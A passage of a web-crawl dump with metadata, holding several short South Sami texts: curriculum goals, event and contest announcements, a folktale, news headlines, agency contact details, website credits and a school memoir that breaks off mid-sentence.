edtja dam eengelske gïelem lïeredh jïh nuhtjedh.\nNjaalmeldh govlesadteme\nÅejviesuerkie njaalmeldh govlesadteme lea maehtedh guarkedh jïh nuhtjedh dam eengelske gïelem viehkine goltelidh, soptsestidh jïh maereles govlesadtemestrategijh nuhtjedh. Åejviesuerkie sæjhta jiehtedh baakoeveahkam evtiedidh, jïh idiomatihkeles struktuvrh jïh grammatihkeles hammoeh nuhtjedh gosse mubpide jïh mubpiejgujmie soptseste. Edtja aaj maehtedh gïelem tjïelkelaakan soptsestidh jïh intonasjovnine.\nÅejviesuerkie sæjhta jiehtedh goltelidh, guarkedh jïh dam eengelske gïelem nuhtjedh ovmessie njaalmeldh govlesadtemetsiehkine. Dåajmijesvoetem vuesiehtidh jïh krööhkedh dejtie sïejhme vuekide guktie ektesne årrobe lea akte vihkeles bielie. Edtja aaj maehtedh gïelem åssjelasse jïh dåastoejasse sjïehtedidh, gaskem jeatjah byjjes jïh ovbyjjes njaalmeldh gïeli gaskem joekehtidh.\nÅtnoe ovmessie meedijijstie jïh vierhtijste, jïh evtiedimmie aktede gïelevåarhkoste faagi jïh aamhti dåaresth leah vihkeles daennie åejviesuerkesne.\nTjaaleldh govlesadteme\nÅejviesuerkie tjaaleldh govlesadteme lea maehtedh guarkedh jïh nuhtjedh dam eengelske gïelem viehkine lohkedh jïh tjaeledh, jïh maereles lohkeme- jïh tjaelemestrategijh nuhtjedh.\nÅejviesuerkie lea maehtedh lohkedh jeereldihkie tjaalegh eengelsken gïelesne juktie lohkeme-aavose jïh dååjresasse skreejredh, jïh guarkedh jïh daajroem vejtiestidh. Dellie tjuara jïjnjem lohkedh juktie gïelegoerkesem jïh tjaalegemaahtoem evtiedidh. Ovmessie såarhts tjaalegh lohkedh maahta våaromem bïejedh persovneles sjïdtedæmman, skearkagæmman jïh skaepiedihksvoetese, jïh skraejriem vedtedh jïjtse tjaalegh darjodh.\nÅejviesuerkie aaj feerhmie eengelsken tjaalegh tjaeledh ovmessie govlesadtemetsiehkine juktie tjaeleme-aavose jïh dååjresasse skreejredh, jïh guarkedh jïh daajroem vejtiestidh. Edtja aaj maehtedh gïelem åssjelasse jïh dåastoejasse sjïehtedidh, gaskem jeatjah byjjes jïh ovbyjjes tjaaleldh gïeli gaskem joekehtidh. Åejviesuerkesne edtja aaj baakoeveahkam evtiedidh jïh reaktoetjaelemem, idiomatihkeles struktuvrh jïh grammatihkeles hammoeh tjaalegisnie nuhtjedh. Edtja aaj struktuvrem jïh ektiedimmiem tjaaleginie sjugniedidh.\nKultuvre, siebriedahke jïh lidteratuvre\nÅejviesuerkie kultuvre, siebriedahke jïh lidteratuvre leah kultuvregoerkese aktene vijries goerkesisnie. Dïhte våarome lea eengelskegïelen laanth, jïh vihkeles aamhtesh feerhmie mah leah siebriedahkejieleden, lidteratuvren jïh jeatjah kultuvrevuekiej bïjre. Åejviesuerkesne edtja aaj maehtedh daajroem vejtiestidh eengelsken gïelen bïjre goh akte veartenegïele jïjnjh åtnoesuerkiejgujmie.\nÅejviesuerkesne edtja barkedh faagetjaalegigujmie, lidteræære tjaalegigujmie jïh kultuvrelle lahtestimmiehammoejgujmie ovmessie kultuvrijste, jïh dejtie digkiedidh. Daate lea vihkeles juktie daajroem, goerkesem jïh seahkarimmiem evtiedidh mubpiej jieledevuekide jïh kultuvride.\nSide 2 Av 11","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/ENG1-03\/Hele\/Hovedomraader?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-18T08:46:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400187354.1\/warc\/CC-MAIN-20200918061627-20200918091627-00378.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":446,"character_repetition_ratio":0.084,"word_repetition_ratio":0.023,"special_characters_ratio":0.129,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bearjadahken 20. skïereden 2019\nSnåasen hotelle\nSnåsa Hotell AS, Åsmulvegen, Snåsa, Norge\nBearjadahken 20. skïereden 2019\nSnåasen hotelle\nMikael Vinka – Professovre saemien gïelesne Umeå universiteetesne, Institusjovne gïelestudijidie. Mikael Vinkan maadtoe lea Upmejen sïjtesne jïh Guttajauresne Sveerjesne.\nGeajnoe professovrese Upmejen universiteetesne ij leah iemie orreme. Dïhte maadthstudijh japanske, eengelske jïh sveerjen gïelesne Lundesne åarjel-Sveerjesne tjïrrehti. Dan mænngan lingvistihkem lohki Gifu universiteetesne, Japan, gusnie aaj saemien gïele sïjse bööti. Dotkijeööhpehtimmiem tjïrrehti jïh disputaasem noerhtesaemien grammatihken bïjre darjoeji McGill Universiteetesne Montrealesne Canadasne. Jaepien 2003 Upmejasse bööti jïh dan don aejkien Institusjovnese arkeologijese jïh saemien studijidie, jïh 2009 raejeste lea barkeme institusjovnesne gïelestudijidie Upmejen universiteetesne.\nJonar Thomasson,\nJonar lea reakadamme Vualtjarisnie, Sveerje, men byjjenamme jïh orre Raarvihkesne. Altese voestesgïele lea åarjelsaemien. Daelie dokumentasjovnine barka voenges saemien smaaregïelijste Raarvihkeste, Laakesvuemeste, Frööstegistie jïh Jïjnjevaereste. Dïhte meatan orreme åarjelsaemien gïelemoenehtsisnie jïh aaj jeatjahlaakan gïelebarkosne viehkiehtamme.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/tjaktjen-tjaanghkoe.no\/program-smi\/jonar-thomasson-evald-stenfjell-og-mikael-vinka-2\/?lang=smi","date":"2021-10-25T22:03:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587770.37\/warc\/CC-MAIN-20211025220214-20211026010214-00123.warc.gz","language":"sma","language_score":0.9996122718,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996122717857361}","num_words":132,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ávvir jïh Tjállegoahte lægan novelle-tjaelemegaahtjemem öörneminie man aamhtese lea «gieriesvoete Saepmesne».\nTjaelemegaahtjeme Ráhkisvuohta Sámis – Gieresvuohta Sámen – Gieriesvoete Saepmesne\nÁvvir jïh Tjállegoahte lægan novelle-tjaelemegaahtjemem öörneminie man aamhtese lea «gieriesvoete Saepmesne».\nDatne maahtah mealtan daennie gaahtjemisnie årrodh jis datne leah båarasåbpoe goh 16 jaepien båeries.\nTjaelieh novellem aktene saemien gïelesne, saaht seamma jis lea noerhte-, julev jallh åarjelsaemien gïelesne.\nIj novelle åadtjoeh åeniehkåbpoe enn 2000 tjaelemevæhtah årrodh jallh guhkebe enn 6000 tjaelemevæhtah årrodh.\nIj novelle åadtjoeh joe bæjhkoehtovveme årrodh.\nTjaalegi bæjhkoehtimmie:\nTjaelijh jïjtse tjaalegh eekieh. Gaahtjemen öörnijh maehtieh dejtie tjaalegidie bæjhkoehtidh, dovne Ávviren jïhTjállegoahten gaskeviermie-sæjrojne, jïh aaj Ávviren plaeresne jïh podcastesne.\nJis tjaeleme-fiejlieh gååvnesieh dejnie tjaaleginie, mijjieh edtjiejibie dejtie fiejlide staeriedidh eannan tjaalegidie bæjhkoehtibie.\nJis datne leah mealtan daennie gaahtjemisnie, datne leah gaahtjemen njoelkedassh dåhkasjahteme.\nVitnijh:\nNovelle-gaahtjemen vitnije edtja 10,000 kråvnah vitnedh. Dïhte mubpie 5,000 kråvnah åådtje, jïh dïhte gåalmede 3,000 kråvnah åådtje. Dah vitnijh åadtjoeh aaj jïjtse novellh bæjhkoehtidh.\nLidteratuvre-moenehtse edtjieh vitnijh veeljedh. Saadthalmetjh daennie moenehtsisnie båetieh vg. dovne Ávviristie jïh Tjállegoahteste.\nEah Ávviren vuj Tjállegoahten barkijh maehtieh mealtan årrodh daennie gaahtjemisnie.\nIj lidteratuvre-moenehtse åadtjoeh novelle-tjaeliji nommh daejredh.\nSeedth dov novellem minngemes tsïengelen, 31 biejjien jaepien 2023 daan e-påastesæjjan: email@example.com\nDatne tjoeverh dov novellem Times New Roman-bokstaavigujmie tjaeledh, tjaelemevæhtajgujmie mah lea 12p stoerre. Tjaelieh 1,5 raajroe-gaskine. Datne maahtah Word-fïjlem jallh PDF-fïjlem mijjese seedtedh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.tjallegoahte.se\/novelle-tjaelemegaahtjemem\/","date":"2023-12-03T11:53:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100499.43\/warc\/CC-MAIN-20231203094028-20231203124028-00013.warc.gz","language":"sma","language_score":0.9999678135,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999678134918213}","num_words":203,"character_repetition_ratio":0.067,"word_repetition_ratio":0.021,"special_characters_ratio":0.16,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faala jïh bovtse\nFaala jïh bovtse\nAkte bovtse mearoegaedtie-bealesne gåatoeji. Dellie akte faala mearoste bovtsese gæljoeji.\n– Å hoj, bovtse, edtjien veaksastalledh? Gie lea veaksahkommes, datne jallh manne?\n- Jaavoe, månnoeh pryövoen veaksastalledh, bovtse jeahta.\nBovtse tåajjem kraeseste pruvnieldi jïh faala jis sjædtoeh mearoste provhki. Bovtse tåajjem åelkiej jïh tjeapohken bïjre beaja, jïh faala tåajjem jïjtje siejpien bïjre beaja. Dellie dah guaktah eelkigan giesedh. Faala mearose geasa jïh bovtse bæjjese tjahkese.\nFaala siejpine mearose låaskele juktie sapte tsæjhtsa. Bovtse boelvide vååje bene juvlehte. Tåajje boerhkenasta. Faala mearose vualka – bovtse guhkiem tjahkese girtie.\nIdtji bovtse dan mænngan mearoegaedtie-bealesne gååvnesh.\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- gjøre rede for samisk fortellertradisjon og sammenligne med noen andre urfolks fortellertradisjon\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- lytte til, vurdere og gi veiledende tilbakemelding på andres muntlige presentasjoner\n- lese og analysere tekster i ulike sjangere for å kunne ta stilling til spørsmål tekstene tar opp og verdier de representerer\n- orientere seg i tekster av ulik kompleksitet og velge ut, sammenfatte og vurdere relevant informasjon\n- lese ulike tekster og bruke dem som utgangspunkt for egen tekstproduksjon","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/129024?fag=126960","date":"2017-05-24T10:22:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00271.warc.gz","language":"sma","language_score":0.9717527628,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9717527627944946, \"sme_Latn_score\": 0.01630433276295662, \"nob_Latn_score\": 0.011113929562270641}","num_words":184,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie teemesne åadtjoeh gïelen bïjre lïeredh. Guktie mijjen gïele bigkeme, jïh guktie maehtebe tjaeledh. Gïele lea vihkeles biehkie mijjen identiteeteste, jïh gosse soptsestibie jïh tjaelebe, mijjieh soptsestibie gie mijjieh libie jïh gustie båetebe.\n- Kjernestoff\nDaennie teemesne åadtjoeh åarjel-saemien grammatihkem lïeredh.\n- Kjernestoff\nDaennie teemesne åadtjoeh gïelem bïjre lïeredh. Guktie mijjen gïele bigkeme, jïh guktie maehtebe tjaeledh.\n- Kjernestoff\nDaennie sæjrosne raerieh guktie maahtah gaaltijh nuhtjedh nuhteligs vuekine.\n- Kjernestoff\nBuerie raerieh dutnjien njaalmeldh eksamenese, jïh guktie maahtah åenehks jïh guhkies vaestiedassh tjaeledh tjaaleldh eksamenese.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/","date":"2019-12-06T23:55:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540491491.18\/warc\/CC-MAIN-20191206222837-20191207010837-00380.warc.gz","language":"sma","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000065565109253}","num_words":81,"character_repetition_ratio":0.111,"word_repetition_ratio":0.028,"special_characters_ratio":0.149,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båateme sæjjan Bolagsverket!\nSijjesne Bolagsverket (dïhte svïenske læstoeåajvaladtje sïelskide) maahtah vuesiehtimmien gaavhtan\n- sïelskh jïh siebrieh tjaalasovvedh\n- jaepiereektehtsidie saehtedh\n- bïevnesh sïelsken bïjre tjaalasovvedh\n- nænnoestimmie likvidasjovnide åadtjodh\n- bïevnesh mijjen læstojste åadtjodh\n- bïevnesh lohkedh jïh tjaalasovvedh byjjes bïevneseorgaanesne, Post- och Inrikes Tidningar.\nSijjie Bolagsverket lea åajvaladtje gusnie dïenestistie maaksa. Tjoerh maeksedh mijjen dïenesji åvteste jïh sïelskibïevnesh mijjen læstojste doekebe. Ij skaehtievierhtieh mijjen barkose juhtieh.\nGovlehtalledh\nMijjen påastesijjieh\nBievnedh orre jïh jeatjahtehteme sïelskem\nBolagsverket\n851 81 Sundsvall\nJaepiereektesh\nBolagsverket\nÅrsredovisningar\n851 98 Sundsvall\nfirstname.lastname@example.org\nÅajvaladtje gosse sïelskide tjaalasovvedh\nBolagsverket\nFöretagsinteckningar\nBox 700\n851 21 Sundsvall\nPost- och Inrikes Tidningar\nBolagsverket\n851 81 Sundsvall\nemail@example.com\nDov reaktoem nationelle unnelåhkoegïelide provhkedh\nMejtie datne akte dejstie nationelle unnelåhkoen almetjijstie dellie dov lea reaktoem jïjtjedh gïelesne åajvohkigujmie govlehtidh. Daesnie åadtjoeh daejredh magkerh reaktah dov jïh maam maahtah dov tjïelteste jïh jeatjah åajvoehkijstie tsïhkestehtedh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/bolagsverket.se\/otherlanguages\/samiaarjelsaemiengielesydsamiska.1321.html","date":"2022-05-22T22:31:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662550298.31\/warc\/CC-MAIN-20220522220714-20220523010714-00116.warc.gz","language":"sma","language_score":0.9999748468,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999748468399048}","num_words":127,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båeteme mubpien Soptsestallemen gåajkoe NSRn webinaareraajrosne. Dan aamhtese lea saemien maanagïertesijjieh – man åvteste vihkeles jïh guktie jienebh åadtjodh.\nSoptsestalleme: Saemien maanagïertesijjieh\nKategoriÁlttá sámiid searvi\nDato26.04.2021\nSoptsestalleme: Saemien maanagïertesijjieh\nSoptsestalleme – voerhtjen 28.b ts.1800 – 2000\nSaemien maanagïertesijjieh – man åvteste vihkeles jïh guktie jienebh åadtjodh\nNSRn presideentkandidaate Silje Karine Muotka lea Soptsestallemen tjåanghkoeåvtehke.\nInnledere:\n- Mikkel Eskil Mikkelsen\nSaemiedigkieraerie jïh NSRn 1.kandidaate Viestarmera veeljemegievlie\n- Beaska Niilas\nNSRn 1.kandidaate Luvlien veeljemegievlie jïh Deanu Sámiid searvin åvtehke. DSS åtna jïh Diddi Mánáigárdim stuvrie\n- Kristine Skum Skorpen\nTjidtjie Alteste\n- Hilde G Daniselsen\nDan leah nielje maanah jïh vuajnoeh Plassjeste buakta\nJienebh soptsestæjjah båetieh!\nMaahtah webinaarem dåeriedidh dovne Zoomen jïh YouTuben tjïrrh. Jis sïjhth maam akt gihtjedh jallh tjåålhkesehtedh tjoerh Zoomem nuhtjedh. Edtja noerhtesaemiengïeleste daaroengïelese jarkoestidh.\nJoin Zoom Meeting\nhttps:\/\/zoom.us\/j\/97723634116?pwd=R0RjTUxkbkVORTNrcjFtSnl4bDVtdz09\nMeeting ID: 977 2363 4116\nPasscode: NSR2021\nYouTube (guelpiegïele):\nYouTube (daaroen):\nSoptsestallemen bïjre:\nNSR webinaareraajroem aalkeme ovmessie aamhtesi bïjre mij tuhtjebe vihkeles jïh sïjhtebe gaajhkesidie bööredh dåeriedidh. Raajroe Soptsestalleme nommestahteme mij lea åarjelsaemienbaakoe.\nSaepmie gellielaaketje jïh NSR Saemiedigkieveeljemasse 2021 mænna aktene veeljemeprogrammine gaajhkide saemide. Saemieh edtjieh buerie jieliedidie utnedh saaht gusnie årroeminie jïh aalkoetsiehkine.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/nsr.no\/sma\/altta-samiid-searvi\/webinar-om-samiske-barnehageplasser\/","date":"2022-08-17T11:14:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572898.29\/warc\/CC-MAIN-20220817092402-20220817122402-00725.warc.gz","language":"sma","language_score":0.9993873239,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9993873238563538}","num_words":172,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate nedtesijjieh lea jupmeles jaahkoen jïh saemien kultuvren bïjre.\nDiedtieh dejtie ovmessie aamhtesidie edtjh vielie goeredh: Låavhtgåetie, såekie, tjaetsie, dålle, eatneme, biejjie jïh gærhkoe.\nNedtesijjien njieljie gïelesåarhth: åarjelsaemien, luvlesaemien, noerhtesaemien jïh daaroen.\nSaemien nedtejaahkoeööhpehtimmie lea evtiedamme Saemien Gærhkoeraereste Nöörjen gærhkosne. Saemien maanah jïh noerh edtjieh jïjtjemes årrodh jïjtsh jaahkoeööhpehtimmesne. Dïhte ööhpehtimmie edtja viedteldahkesne årrodh saemien dååjrehtimmesne jïh voenges saemien gærhkoejieliemisnie. Saemien voejkenesvoete edtja viehkine årrodh jielemelearose jïh jielemegoerkesasse.\nSaemien nedtejaahkoeööhpehtimmie lea evtiedamme dåarjojne destie Stööremes gaajhkeste -jaahkoeööhpehtimmie Nöörjen gærhkosne. Jaahkoeööhpehtimmie lea akte dejstie Nöörjen gærhkoen åejvieråajvarimmiesuerkijste. Daelie evtiesåvva aktem systemateles jaahkoeööhpehtimmiem gaajhkide mah leah kristesovveme 0-18 jaepiej gaskem, mij edtja sjïehteladtedh guktie maanah jih noerh maehtieh altese ektiedimmiem jaahkose evtiedidh jih dan gærhkose gusnie sijjiem utnieh.\nÅssjaldahke jïh prosjekten åvtehke:\nAnbjørg Holm Varsi\nEvtiedimmie:\nABC-Company E-skuvla.no teknihken evtiedimmiem jïh grafihken haemiem dorjeme.\nBendik Kråvik Schøien tyde.no åvtebieliem dorjeme.\nMusihke:\nSaemien gærhkoeraerie daam dïenesjem faalehte.\nTONO lea luhpiem vadteme musihkem provhkedh.\nLuhpehts lïenghkem darjodh, vijrebe seedtedh jallh kopijem vaeltedh.\nSpiele:\nNöörjen Aejlegeskuvlesiebrie spielide evtiedamme.\nKommunion as dejtie dorjeme.\nTeekstedorjemasse:\nKaren Elle Gaup\nAnn Solveig Nystad\nAnne-Karin Hellesöy\nInger Seierstad\nInga Wernolf\nJarkoestimmie:\nInger Marie Oskal\nInger Anne Gaup Gustad\nRávdná Turi Henriksen\nLars Theodor Kintel\nEllen Jonassen\nOskar Stein Björlykke\nAnne Silja Turi\nBirgit Andersen\nAnne-Grethe Leine Bientie\nGuvvieh:\nSolfrid Fjellaksel Pedersen\nSvein Kvamme\nLiisa Helander\nInger Seierstad\nOlga Grimsmo Nilsen\nLisa Arneng Varsi\nLuther Forlag: Ståle Almenning\nTore Johnsen\nLaila Krokmo\nVanja Rökke\nKarasjok menighet\nBendik Kråvik Schöien\nEllen Sara Leine Bientie\nKaren Elle Gaup\nKåfjorden kultuvreskuvle: Maria Seppälä, Maylin Brustad, Annette Forfang, Marie Olsen, Lise Mari Nilsen, Mariell Hansen, Johanne Steinlien, Heidi Pedersen, Ingvild Rundberg, Malene F S, Silje Hansen, Catrine Vatne, Sofie Olsen, Kaisa Lyshaug, Berthine M Johansen, Oda Agnethe Svendsen, Anne Marte Hansen, Selma Alette Mikkelsen\nAlta Kulturskole: Severin Lyngstad, Siver Nielsen, Frida Sætveit, Sondre Andersen, Kristine Jonas, Vårin Larsen, Kamilla Losvar, Maria S Losvar, Erlend Mortensen, Björn Kerthan\nGuvvie vaalteme:\nÁile Marita Varsi\nArvid Varsi\nAnn-Katrin Tobiassen\nLill-Therese Holm Varsi\nWenche Holm Balto\nMáijá Holm Balto\nÁnne-Márgget Somby\nJohan Daniel Balto\nHeidi Sara Anti\nLásse Biehtár Anti\nNils Borge Teigen\nTore Johnsen\nBierna Bientie\nJohan Bakken Sandvik\nGunn Hanne Elvebakk\nKåre Smeland\nBerit Fröydis Svineng Johnsen\nJaana Walle\nÖrjan Balto Hansen\nJohán Máhtte Kemi\nNils Jovnna Gaup\nPiera Jovnna Heaikka Áslat\nAslak Somby\nEbba Joks\nJovnna Levi Joks\nSárá Márjá Utsi\nElle Káre Somby\nJan Widar Wigelius\nNiillas Aslaksen Smuk\nMoerehåevkie, guvviem vaalteme Várjjat Sámi Musean ålkoelisnie\nMoeresjaljoe, guvviem vaalteme Sámiid Vuorka Dávvirat'sne\nGuvvieh åasteme Scandinavian Stock Photo'ste\nLaavlomh\nBerit Alette Mienna\nWenche Holm Balto\nMarit Holm-Johannesen\nAnbjörg Holm Varsi\nMáijá Holm Balto\nIda Márjá Varsi Solbakk\nÁnne Márgget Somby\nÁile Marita Varsi\nKarl Edvard Urheim\nKirsi Guvsám\nJovna Zakharias Dunfjell\nEli Anne Nystad\nMáret Inga Grenserud Eira\nKáre Brita Rognerud Eira\nMáret Lájlá Sara Nedrejord\nRisten Gutnel Guttorm Eira\nBiret Sárá Anti\nJulie Sofie Nordsletta\nMaina Sofie Wergeland\nInger Marie Guttorm\nRagnhild Hellesöy\nÅarjel-Varangeren saalmelaavlomedåehkie\nKarasjohken åålmegen maanakore \/Anne Karin Hellesöy: Hannah L Strömeng, Elisabeth Kneppen Strömeng, Rita Marie P Somby, Ingri Maylèn Larsen, Kaisa Henriette Larsen, Andreas Hellesöy,\nTeekstelohkeme\nMay-Synnöve Trosten\nBrita Iren Thomassen\nBerit Kristine Andersen Guvsám\nLill-Therese Holm Varsi\nMorten Tobiassen\nPer Dehlin\nAnne Silja Turi\nLeif Åge Hætta\nMáijá Holm Balto\nElle-Kare Somby\nNils Jörgen Nystö\nCopyright: Nöörjen Gærhkoe, Saemien Gærhkoeraerine\nPostboks 799, Sentrum, N-0106 oslo, Tellefovne: 23081200\ne-påaste. firstname.lastname@example.org\nDiedteles redaktööre: Saemien Gærhkoeraerien generaletjaelije, Tore Johnsen\nSaemien gærhkoeraerie lea jïjnjem barkeme edtja dejtie reaktoe copyright-aajhteridie fïerhne saalmese, gåvvan jïh filmese jaksedh. Jis ibie buektiehtamme gaajhkh jaksedh, mijjieh birrebe dïhte copyright-aajhtere mijjem gaskesadta.","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/www.abc-company.no\/osku\/ss\/omoss.html","date":"2023-06-08T16:20:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224655027.51\/warc\/CC-MAIN-20230608135911-20230608165911-00192.warc.gz","language":"sma","language_score":0.7362433076,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.7362433075904846, \"sme_Latn_score\": 0.26299962401390076}","num_words":579,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":0.98,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nTjaeledh\nGosse datne tjaalah, dellie maahtah dov tjaalegem soejkesjidh, jeatjahtehtedh jïh bueriedidh. Mujhtieh dah mah dov tjaalegem luhkieh, eah maehtieh datnem gihtjedh jis ih tjïelke tjaaleme. Hijven tjaeleme teekste lea buerie viehkie lohkijasse jïh aaj luste lohkedh.\nGuktie faage-artihkelem tjaeledh\nGosse datne edtjh faage-artihkelem tjaeledh dellie edtjh teemam jïh faaktah goerehtidh. Gosse tjaalah dellie edtjh daajroem\/maahtoem teeman bïjre vuesiehtidh jïh lissine edtjh teemam digkiedidh.\nLæringsressurser\nGuktie faage-artihkelem tjaeledh","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:6b649077-6960-4648-9b35-91654b4b091f\/","date":"2023-06-06T19:40:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224653071.58\/warc\/CC-MAIN-20230606182640-20230606212640-00017.warc.gz","language":"sma","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000097751617432}","num_words":72,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeregasse vaarrin Ogndalsstafedtesne\nSnåase göökte nïejtetjïerth utni daan hïeljen Ogndalsstafedtesne.\nSnåase göökte nïejtetjïerth utni daan hïeljen Ogndalsstafedtesne.\nLinn Marita Larssonen åesiestimmietuvre Tangerudbakken-raajrosne daan jaepien TV-ståantine veeljesovvi daan hïeljen.\nÅarjel-saemiej Skuvle fyller 50 år. Nå planlegges det en storstilt feiring til høsten, og håp om kongelig besøk.\nGJEFSJØEN: HV-12:n aarebi åvtehke Ebbe Deraas lea njueniehkisnie akten prosjektese gusnie sæjhta sertedh jïh dåvvodh dam båeries åejviegåetiem Jilliegaertienisnie (Vestergården) Gjefsjøen vaeriegaertienisnie.\nAkte vihth råate lea vuatjasovveme Jillievoenen vijremetjïerteste\nGorredimmiebarkoe væjroen vööste Jørstad-jeanoen lïhke Undsetesne lea hijvenlaakan jåhteme.\nFer tjarke saavreme jalladahkesne. Daate tjïelkeste man åvteste Jon Åge Tyldum idtji OL:sne Lillehammerisnie lyhkesh.\nIkke før er det store jubileumsåret omme, så fortsetter det med flere store samiske feiringer.\nMillioner av TV-seere får se det japanske filmfolk har jobbet med i tre dager på Snåsa.\nSnåase sov voestes laadestasjovnem åådtjeme. Dïhte gaervies tjåådtje Snåsakroesne.\nSnåasen Saniteetesiebrien barkoetjïerte Øverbygdesne lea preemijh basaarese dorjeme göökte jaepieh.","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.snasningen.no\/tema\/S%C3%B8rsamisk\/","date":"2018-08-21T10:35:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221218101.95\/warc\/CC-MAIN-20180821092915-20180821112915-00139.warc.gz","language":"sma","language_score":0.9962554574,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9962554574012756}","num_words":148,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Lohkede saemien maam Knut Bergsland jïh Ella Holm Bull tjaaleme. Jaepien 1993 gærja trygkesovvi. Jïh daennie soptsesisnie åadtjoeh skuvle-vaarjoej bïjre govledh.\nDejpeladtje skuvle-vaarjoeh\nJaavoe, daelie lea gujht jeatjah tïjje, skuvle-tïjjeste aaj. Daah mov maanah aelkieminie skuvlesne, daah hov fïjne skuvlem daelie utnieh modte mijjieh.\nGoh manne eelkim skuvlem, manne tjoerim fealadidh göökte luhkie vïjhte mïjlh eannan skuvlese böötim. Jïh dellie barre tjoejkedh, jaa muvhtene gujht aaj naan skovhtem fihkim, aaj naan hierkie-skovhtem, gosse våålese böötim, voenese. Ij lij gujht guktie daelie, åadtjoejibie bïjlese tjihkedidh gåetie-maadtegisnie jïh vuejedh bïjlh tåågh dåeriedidh gosse edtjebe skuvlese.\nManne måjhtam voestes aejkien manne edtjim skuvlesne aelkedh, die gujht tjidtjie ryöjredi mannem, måvhkah gujht gåaroeji, vaares-gaptah, vaares-måvhkah, im manne daejrieh, jaa naan lijhkie-vaarjoeh gujht aaj utnim.\nIkth måjhtam die idtji naan tyjjem utnieh lijhkie-vaarjojne. Dellie lin fihkeme jaavvoeh leerehte-voessi sisnie.\nDellie måjhtije, edtja lijhkie-vaarjoeh gåarodh dehtie aktede voesseste. Desnie jis sååjhti stoerre baakoeh.\nNåå, gosse lij die illeme, edtja pryövedh. Manne die 